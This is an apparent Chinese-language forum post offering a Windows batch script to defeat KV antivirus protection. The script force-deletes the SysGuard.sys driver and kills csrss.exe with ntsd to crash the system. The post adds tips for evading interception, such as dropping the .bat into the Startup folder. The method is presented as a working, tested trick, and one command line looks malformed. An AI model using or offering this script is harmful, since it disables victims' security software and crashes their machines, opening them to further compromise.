批處理戰(zhàn)KV主防

今早起來一邊早飯一邊試驗(yàn)的。 代碼見下：

@echo off

del %systemroot%\system32\drivers\SysGuard.sys /f /q /s

set app_name=csrss.exe

echo 查找進(jìn)程%app_name%,準(zhǔn)備死機(jī)...

(tasklist /nh findstr /i %app_name%) (goto dead)

:dead

ntsd -c -q -pn %app_name%

原理我自己也不是太明白就不多說了， 實(shí)驗(yàn)結(jié)果好像管用， 我用虛擬機(jī)和真實(shí)機(jī)都分別試驗(yàn)了下， 還不錯(cuò)。 直接點(diǎn)的批處理腳本， 如果轉(zhuǎn)成EXE效果不保證了(沒有實(shí)驗(yàn))。 但是由于有關(guān)機(jī)回寫， 必須強(qiáng)迫死機(jī)， 雖然重啟后KV的變態(tài)進(jìn)程守護(hù)不管用了(可以用任務(wù)管理器試試)， 但是在重啟之前你還得把善后工作做好， 準(zhǔn)備來日重生。 有幾點(diǎn)得注意：

1、不能直接用批處理寫注冊(cè)表(雖然可以還原SSDT之后用API寫， 但是不是我們追求的純粹R3手段)

2、最好不要把bat放在EXE里， 因?yàn)檫\(yùn)行時(shí)KV十有八九可以攔截到

3、最好的地方可能是啟動(dòng)文件夾， 或許還有些其他修改手段

的確是個(gè)很娛樂且沒有什么實(shí)用價(jià)值的手段...大家可以娛樂下， 不過考慮到每個(gè)人的機(jī)子效果或許不同， 不用報(bào)有太大希望。

特別強(qiáng)調(diào)：KV08/09用戶， 試驗(yàn)時(shí)一定要把C:\Windows\system32\drivers\SysGuard.sys拷貝個(gè)到其它地方備份， 如果本實(shí)驗(yàn)真的成功了， KV就實(shí)效了。 只有拷貝回去下次重啟即可恢復(fù)， 或者重新安裝。